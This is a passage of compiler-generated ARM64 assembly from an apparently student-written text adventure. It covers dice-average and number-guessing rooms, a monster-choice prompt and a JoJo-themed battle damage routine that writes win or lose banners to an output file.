adrp x0, .LC644
add x0, x0, :lo12:.LC644
bl printf
.L522:
str wzr, [sp, 44]
b .L523
.L524:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC645
add x0, x0, :lo12:.LC645
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L523:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
blt .L524
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE29:
.size printRollResults, .-printRollResults
.align 2
.global averageM
.type averageM, %function
averageM:
.LFB30:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 28]
str wzr, [sp, 24]
b .L526
.L527:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 28]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L526:
ldr w1, [sp, 24]
ldr w0, [sp, 4]
cmp w1, w0
blt .L527
ldr w0, [sp, 28]
scvtf d1, w0
ldr w0, [sp, 4]
scvtf d0, w0
fdiv d0, d1, d0
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE30:
.size averageM, .-averageM
.align 2
.global sumM
.type sumM, %function
sumM:
.LFB31:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 20]
str xzr, [sp, 24]
str wzr, [sp, 20]
b .L530
.L533:
ldrsw x0, [sp, 20]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d0, [x0]
fcmp d0, #0.0
beq .L535
ldrsw x0, [sp, 20]
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 24]
fadd d0, d1, d0
str d0, [sp, 24]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L530:
ldr w1, [sp, 20]
ldr w0, [sp, 4]
cmp w1, w0
blt .L533
b .L532
.L535:
nop
.L532:
ldr d0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE31:
.size sumM, .-sumM
.section .rodata
.align 3
.LC646:
.string "\n\nYou walked into a secret casino."
.align 3
.LC647:
.string "The door closes behind you."
.align 3
.LC648:
.string "The only way to leave is to play a game Dice Average."
.text
.align 2
.global printIntroduction
.type printIntroduction, %function
printIntroduction:
.LFB32:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC646
add x0, x0, :lo12:.LC646
bl puts
adrp x0, .LC647
add x0, x0, :lo12:.LC647
bl puts
adrp x0, .LC648
add x0, x0, :lo12:.LC648
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE32:
.size printIntroduction, .-printIntroduction
.section .rodata
.align 3
.LC649:
.string "\nRules:"
.align 3
.LC650:
.string "- Each turn, you and two other players will choose if you wish to roll %d dice.\n"
.align 3
.LC651:
.string "- The average number of the %d dice are added to your score.\n"
.align 3
.LC652:
.string "- Who ever can get their score closest to %d wins. If your score goes above %d then you loose.\n"
.align 3
.LC653:
.string "- Before each turn, the dice values increase."
.align 3
.LC654:
.string "- After each turn, you will get an opportunity to roll again or stop rolling."
.align 3
.LC655:
.string "- If you choose to stop rolling, you can no longer roll for the rest of the game."
.text
.align 2
.global printRules
.type printRules, %function
printRules:
.LFB33:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
adrp x0, .LC649
add x0, x0, :lo12:.LC649
bl puts
ldr w1, [sp, 28]
adrp x0, .LC650
add x0, x0, :lo12:.LC650
bl printf
ldr w1, [sp, 28]
adrp x0, .LC651
add x0, x0, :lo12:.LC651
bl printf
ldr w2, [sp, 24]
ldr w1, [sp, 24]
adrp x0, .LC652
add x0, x0, :lo12:.LC652
bl printf
adrp x0, .LC653
add x0, x0, :lo12:.LC653
bl puts
adrp x0, .LC654
add x0, x0, :lo12:.LC654
bl puts
adrp x0, .LC655
add x0, x0, :lo12:.LC655
bl puts
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE33:
.size printRules, .-printRules
.section .rodata
.align 3
.LC656:
.string "instructions_room_37"
.align 3
.LC657:
.string "You open a door and you find 3 monsters standing right in front of you.\n\n"
.align 3
.LC658:
.string "You must take on one monster to prove your authority over them.\n"
.align 3
.LC659:
.string "You can\n"
.align 3
.LC660:
.string "-> Press 1 to tackle Godzilla\n"
.align 3
.LC661:
.string "-> Press 2 to tackle King Ghidorah\n"
.align 3
.LC662:
.string "-> Press 3 to tackle King Kong\n\n"
.align 3
.LC663:
.string "Unlike the movies just defeating one of them will show your courage to others and they will back out.\n\n"
.align 3
.LC664:
.string "What is your choice Hero?\n"
.text
.align 2
.global room_37_read_instructions_from_file
.type room_37_read_instructions_from_file, %function
room_37_read_instructions_from_file:
.LFB34:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
.cfi_def_cfa_register 29
str x19, [sp, 16]
sub sp, sp, #16
.cfi_offset 19, -64
adrp x8, :got:__stack_chk_guard
ldr x8, [x8, #:got_lo12:__stack_chk_guard]
ldr x9, [x8]
str x9, [x29, 72]
mov x9, 0
mov x8, sp
mov x19, x8
mov w8, 255
str w8, [x29, 44]
ldr w8, [x29, 44]
sxtw x9, w8
sub x9, x9, #1
str x9, [x29, 48]
sxtw x9, w8
mov x6, x9
mov x7, 0
lsr x9, x6, 61
lsl x3, x7, 3
orr x3, x9, x3
lsl x2, x6, 3
sxtw x2, w8
mov x4, x2
mov x5, 0
lsr x2, x4, 61
lsl x1, x5, 3
orr x1, x2, x1
lsl x0, x4, 3
sxtw x0, w8
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L539:
cmp sp, x1
beq .L540
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L539
.L540:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L541
str xzr, [sp, 1024]
.L541:
add x0, sp, 16
add x0, x0, 0
str x0, [x29, 56]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC656
add x0, x0, :lo12:.LC656
bl fopen
str x0, [x29, 64]
ldr x0, [x29, 64]
cmp x0, 0
bne .L544
adrp x0, .LC657
add x0, x0, :lo12:.LC657
bl puts
adrp x0, .LC658
add x0, x0, :lo12:.LC658
bl puts
adrp x0, .LC659
add x0, x0, :lo12:.LC659
bl puts
adrp x0, .LC660
add x0, x0, :lo12:.LC660
bl puts
adrp x0, .LC661
add x0, x0, :lo12:.LC661
bl puts
adrp x0, .LC662
add x0, x0, :lo12:.LC662
bl puts
adrp x0, .LC663
add x0, x0, :lo12:.LC663
bl puts
adrp x0, .LC664
add x0, x0, :lo12:.LC664
bl puts
b .L543
.L545:
ldr x1, [x29, 56]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
.L544:
ldr x2, [x29, 64]
ldr w1, [x29, 44]
ldr x0, [x29, 56]
bl fgets
cmp x0, 0
bne .L545
.L543:
mov sp, x19
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 72]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L546
bl __stack_chk_fail
.L546:
mov sp, x29
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE34:
.size room_37_read_instructions_from_file, .-room_37_read_instructions_from_file
.section .rodata
.align 3
.LC665:
.string "You guessed right. Congrats\n"
.align 3
.LC666:
.string "Your guess is greater than the number"
.align 3
.LC667:
.string "Your guess is less than the number"
.text
.align 2
.global room_37_guess_number
.type room_37_guess_number, %function
room_37_guess_number:
.LFB35:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
mov w0, 10
str w0, [sp, 40]
b .L548
.L553:
mov w1, 30
mov w0, 1
bl room_37_prompt_guess
str w0, [sp, 44]
ldr w1, [sp, 44]
ldr w0, [sp, 28]
cmp w1, w0
bne .L549
adrp x0, .LC665
add x0, x0, :lo12:.LC665
bl puts
b .L550
.L549:
ldr w1, [sp, 44]
ldr w0, [sp, 28]
cmp w1, w0
ble .L551
adrp x0, .LC666
add x0, x0, :lo12:.LC666
bl puts
b .L552
.L551:
adrp x0, .LC667
add x0, x0, :lo12:.LC667
bl puts
.L552:
ldr w0, [sp, 40]
sub w0, w0, #1
str w0, [sp, 40]
.L548:
ldr w0, [sp, 40]
cmp w0, 0
bne .L553
.L550:
ldr w0, [sp, 40]
cmp w0, 0
beq .L554
mov w0, 1
b .L555
.L554:
mov w0, 0
.L555:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE35:
.size room_37_guess_number, .-room_37_guess_number
.section .rodata
.align 3
.LC668:
.string "Enter your guess between %d and %d inclusive\n"
.text
.align 2
.global room_37_prompt_guess
.type room_37_prompt_guess, %function
room_37_prompt_guess:
.LFB36:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC668
add x0, x0, :lo12:.LC668
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
b .L557
.L558:
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC668
add x0, x0, :lo12:.LC668
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L557:
ldr w0, [sp, 36]
ldr w1, [sp, 28]
cmp w1, w0
bgt .L558
ldr w0, [sp, 36]
ldr w1, [sp, 24]
cmp w1, w0
blt .L558
ldr w0, [sp, 36]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L560
bl __stack_chk_fail
.L560:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE36:
.size room_37_prompt_guess, .-room_37_prompt_guess
.section .rodata
.align 3
.LC669:
.string "output.txt"
.align 3
.LC670:
.string "\nYou reverse the time stop on DIO for 9 seconds."
.align 3
.LC671:
.string "You find a road roller, crush him with it, and throw a flurry of punches at it."
.align 3
.LC672:
.string "After the 9 seconds pass the road roller explodes killing DIO, you win."
.align 3
.LC673:
.string "Check your ouput file for your win screen"
.align 3
.LC674:
.string "ORA ORA ORA\n"
.align 3
.LC675:
.string "\nYour health drops below zero and DIO crushes you with a road roller, you are dead"
.align 3
.LC676:
.string "Check your ouput file for your lose screen"
.align 3
.LC677:
.string "GAME OVER GAME OVER GAME OVER\n"
.align 3
.LC678:
.string "\nYou acquire the requiem arrow and undergo a transformation making you the strongest on earth."
.align 3
.LC679:
.string "Diavolo attempts to use epitaph to attack, but has his attack is automatically deflected by Golden Experience Requiem."
.align 3
.LC680:
.string "You place him in an infinite death loop and become the ultimate gang star."
.align 3
.LC681:
.string "MUDA MUDA MUDA\n"
.align 3
.LC682:
.string "\nYour health drops below zero and King Crimson punches you straight through the chest, you are dead"
.text
.align 2
.global printResults
.type printResults, %function
printResults:
.LFB37:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
adrp x0, .LC404
add x1, x0, :lo12:.LC404
adrp x0, .LC669
add x0, x0, :lo12:.LC669
bl fopen
str x0, [sp, 40]
ldr w0, [sp, 24]
cmp w0, 1
bne .L562
ldr w0, [sp, 28]
cmp w0, 1
bne .L563
adrp x0, .LC670
add x0, x0, :lo12:.LC670
bl puts
adrp x0, .LC671
add x0, x0, :lo12:.LC671
bl puts
adrp x0, .LC672
add x0, x0, :lo12:.LC672
bl puts
adrp x0, .LC673
add x0, x0, :lo12:.LC673
bl puts
str wzr, [sp, 36]
b .L564
.L565:
ldr x3, [sp, 40]
mov x2, 12
mov x1, 1
adrp x0, .LC674
add x0, x0, :lo12:.LC674
bl fwrite
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L564:
ldr w0, [sp, 36]
cmp w0, 99
ble .L565
.L563:
ldr w0, [sp, 28]
cmp w0, 0
bne .L562
adrp x0, .LC675
add x0, x0, :lo12:.LC675
bl puts
adrp x0, .LC676
add x0, x0, :lo12:.LC676
bl puts
str wzr, [sp, 36]
b .L566
.L567:
ldr x3, [sp, 40]
mov x2, 30
mov x1, 1
adrp x0, .LC677
add x0, x0, :lo12:.LC677
bl fwrite
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L566:
ldr w0, [sp, 36]
cmp w0, 99
ble .L567
.L562:
ldr w0, [sp, 24]
cmp w0, 2
bne .L568
ldr w0, [sp, 28]
cmp w0, 1
bne .L569
adrp x0, .LC678
add x0, x0, :lo12:.LC678
bl puts
adrp x0, .LC679
add x0, x0, :lo12:.LC679
bl puts
adrp x0, .LC680
add x0, x0, :lo12:.LC680
bl puts
adrp x0, .LC673
add x0, x0, :lo12:.LC673
bl puts
str wzr, [sp, 36]
b .L570
.L571:
ldr x3, [sp, 40]
mov x2, 15
mov x1, 1
adrp x0, .LC681
add x0, x0, :lo12:.LC681
bl fwrite
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L570:
ldr w0, [sp, 36]
cmp w0, 99
ble .L571
.L569:
ldr w0, [sp, 28]
cmp w0, 0
bne .L568
adrp x0, .LC682
add x0, x0, :lo12:.LC682
bl puts
adrp x0, .LC676
add x0, x0, :lo12:.LC676
bl puts
str wzr, [sp, 36]
b .L572
.L573:
ldr x3, [sp, 40]
mov x2, 30
mov x1, 1
adrp x0, .LC677
add x0, x0, :lo12:.LC677
bl fwrite
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L572:
ldr w0, [sp, 36]
cmp w0, 99
ble .L573
.L568:
ldr x0, [sp, 40]
bl fclose
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE37:
.size printResults, .-printResults
.section .rodata
.align 3
.LC683:
.string "\nAttacks: "
.align 3
.LC684:
.string "1. ORA Rush"
.align 3
.LC685:
.string "2. Star Finger"
.align 3
.LC686:
.string "3. Block"
.align 3
.LC687:
.string "Choose a move"
.align 3
.LC688:
.string "You and DIO trade close range consecutive blows\n"
.align 3
.LC689:
.string "You deal %d points of damage\n"
.align 3
.LC690:
.string "You take %d points of damage\n"
.align 3
.LC691:
.string "Your health %d, DIO health %d\n"
.align 3
.LC692:
.string "You extend your forefinger to attack DIO, and he counters with a knife throw\n"
.align 3
.LC693:
.string "DIO stops time for 3 seconds and throws enough knives to surround you from all sides, this is equivalent to %d points of damage. \n"
.align 3
.LC694:
.string "Luckily you and DIO have the same type of stand and you are able to deflect all the knives at the last second"
.align 3
.LC695:
.string "You take no points of damage"
.align 3
.LC696:
.string "invalid input, try again."
.align 3
.LC697:
.string "\nAttacks:"
.align 3
.LC698:
.string "1. MUDA Rush"
.align 3
.LC699:
.string "2. Create life"
.align 3
.LC700:
.string "3. Life shot"
.align 3
.LC701:
.string "You and Diavola trade close range consecutive blows\n"
.align 3
.LC702:
.string "You create a piranha out of some rocks next to you and they seek out Diavolo, he counters with a time erase followed by a devastating punch\n"
.align 3
.LC703:
.string "You punch Diavolo and imbue him with life energy, this puts him into an out of body mindstate making him vulnerable to taking more damage. \n"
.align 3
.LC704:
.string "The attack lands and deals %d points of damage\n"
.align 3
.LC705:
.string "Upon exiting this state, Diavolo responds with Epitaph allowing him to move into the future and land a devasting blow of his own. "
.align 3
.LC706:
.string "\nYour average damage was %.2f\n"
.align 3
.LC707:
.string "You both kill eachother"
.text
.align 2
.global dpsCalc
.type dpsCalc, %function
dpsCalc:
.LFB38:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
str w2, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str xzr, [sp, 48]
str wzr, [sp, 36]
str wzr, [sp, 32]
str wzr, [sp, 40]
str wzr, [sp, 44]
ldr w0, [sp, 20]
cmp w0, 1
bne .L575
b .L576
.L581:
adrp x0, .LC683
add x0, x0, :lo12:.LC683
bl puts
adrp x0, .LC684
add x0, x0, :lo12:.LC684
bl puts
adrp x0, .LC685
add x0, x0, :lo12:.LC685
bl puts
adrp x0, .LC686
add x0, x0, :lo12:.LC686
bl puts
adrp x0, .LC687
add x0, x0, :lo12:.LC687
bl puts
add x0, sp, 32
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 32]
cmp w0, 3
beq .L577
cmp w0, 3
bgt .L578
cmp w0, 1
beq .L579
cmp w0, 2
beq .L580
b .L578
.L579:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 15
str w0, [sp, 40]
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 9
str w0, [sp, 44]
ldr w1, [sp, 24]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 24]
ldr w1, [sp, 28]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 40]
scvtf d0, w0
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 48]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
adrp x0, .LC688
add x0, x0, :lo12:.LC688
bl puts
ldr w1, [sp, 40]
adrp x0, .LC689
add x0, x0, :lo12:.LC689
bl printf
ldr w1, [sp, 44]
adrp x0, .LC690
add x0, x0, :lo12:.LC690
bl printf
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC691
add x0, x0, :lo12:.LC691
bl printf
b .L576
.L580:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 10
str w0, [sp, 40]
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 5
str w0, [sp, 44]
ldr w1, [sp, 24]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 24]
ldr w1, [sp, 28]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 40]
scvtf d0, w0
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 48]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
adrp x0, .LC692
add x0, x0, :lo12:.LC692
bl puts
ldr w1, [sp, 40]
adrp x0, .LC689
add x0, x0, :lo12:.LC689
bl printf
ldr w1, [sp, 44]
adrp x0, .LC690
add x0, x0, :lo12:.LC690
bl printf
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC691
add x0, x0, :lo12:.LC691
bl printf
b .L576
.L577:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 80
str w0, [sp, 44]
ldr w1, [sp, 44]
adrp x0, .LC693
add x0, x0, :lo12:.LC693
bl printf
adrp x0, .LC694
add x0, x0, :lo12:.LC694
bl puts
adrp x0, .LC695
add x0, x0, :lo12:.LC695
bl puts
b .L576
.L578:
adrp x0, .LC696
add x0, x0, :lo12:.LC696
bl puts
nop
.L576:
ldr w0, [sp, 24]
cmp w0, 0
ble .L575
ldr w0, [sp, 28]
cmp w0, 0
bgt .L581
.L575:
ldr w0, [sp, 20]
cmp w0, 2
bne .L582
b .L583
.L588:
adrp x0, .LC697
add x0, x0, :lo12:.LC697
bl puts
adrp x0, .LC698
add x0, x0, :lo12:.LC698
bl puts
adrp x0, .LC699
add x0, x0, :lo12:.LC699
bl puts
adrp x0, .LC700
add x0, x0, :lo12:.LC700
bl puts
add x0, sp, 32
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 32]
cmp w0, 3
beq .L584
cmp w0, 3
bgt .L585
cmp w0, 1
beq .L586
cmp w0, 2
beq .L587
b .L585
.L586:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 15
str w0, [sp, 40]
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 9
str w0, [sp, 44]
ldr w1, [sp, 24]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 24]
ldr w1, [sp, 28]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 40]
scvtf d0, w0
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 48]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
adrp x0, .LC701
add x0, x0, :lo12:.LC701
bl puts
ldr w1, [sp, 40]
adrp x0, .LC689
add x0, x0, :lo12:.LC689
bl printf
ldr w1, [sp, 44]
adrp x0, .LC690
add x0, x0, :lo12:.LC690
bl printf
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC691
add x0, x0, :lo12:.LC691
bl printf
b .L583
.L587:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 10
str w0, [sp, 40]
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 5
str w0, [sp, 44]
ldr w1, [sp, 24]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 24]
ldr w1, [sp, 28]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 40]
scvtf d0, w0
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 48]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
adrp x0, .LC702
add x0, x0, :lo12:.LC702
bl puts
ldr w1, [sp, 40]
adrp x0, .LC689
add x0, x0, :lo12:.LC689
bl printf
ldr w1, [sp, 44]
adrp x0, .LC690
add x0, x0, :lo12:.LC690
bl printf
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC691
add x0, x0, :lo12:.LC691
bl printf
b .L583
.L584:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 20
str w0, [sp, 40]
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w0, w1, 11
str w0, [sp, 44]
ldr w1, [sp, 24]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 24]
ldr w1, [sp, 28]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 40]
scvtf d0, w0
ldr d1, [sp, 48]
fadd d0, d1, d0
str d0, [sp, 48]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
adrp x0, .LC703
add x0, x0, :lo12:.LC703
bl puts
ldr w1, [sp, 40]
adrp x0, .LC704
add x0, x0, :lo12:.LC704
bl printf
adrp x0, .LC705
add x0, x0, :lo12:.LC705
bl puts
ldr w1, [sp, 44]
adrp x0, .LC690
add x0, x0, :lo12:.LC690
bl printf
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC691
add x0, x0, :lo12:.LC691
bl printf
b .L583
.L585:
adrp x0, .LC696
add x0, x0, :lo12:.LC696
bl puts
nop
.L583:
ldr w0, [sp, 24]
cmp w0, 0
ble .L582
ldr w0, [sp, 28]
cmp w0, 0
bgt .L588
.L582:
ldr w0, [sp, 36]
scvtf d0, w0
ldr d1, [sp, 48]
fdiv d0, d1, d0
str d0, [sp, 48]
ldr d0, [sp, 48]
adrp x0, .LC706
add x0, x0, :lo12:.LC706
bl printf
ldr w0, [sp, 28]
cmp w0, 0
ble .L589
ldr w0, [sp, 24]
cmp w0, 0
bgt .L589
mov w0, 1
b .L593
.L589:
ldr w0, [sp, 28]
cmp w0, 0
bgt .L591
ldr w0, [sp, 24]
cmp w0, 0
ble .L591
mov w0, 0
b .L593
.L591:
ldr w0, [sp, 28]
cmp w0, 0
bgt .L592
ldr w0, [sp, 24]
cmp w0, 0
bgt .L592
adrp x0, .LC707
add x0, x0, :lo12:.LC707
bl printf
mov w0, 0
b .L593
.L592:
b .L574
.L593:
mov w1, w0
.L574:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L594
bl __stack_chk_fail
.L594:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE38:
.size dpsCalc, .-dpsCalc
.section .rodata
.align 3
.LC708:
.string "What is the average of above numbers?\n"
.align 3
.LC709:
.string "%le"
.align 3
.LC710:
.string "Congrats you guessed the average correctly\n"
.align 3
.LC711:
.string "Sorry the average is %lf\n"
.text
.align 2
.global room_37_average
.type room_37_average, %function
room_37_average:
.LFB39:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
mov w0, 10
str w0, [sp, 28]
str xzr, [sp, 40]
add x0, sp, 48
ldr w1, [sp, 28]
bl room_37_fill_array
str wzr, [sp, 24]
b .L596
.L597:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
add x1, sp, 48
ldr w0, [x1, x0]
mov w1, w0
adrp x0, .LC635
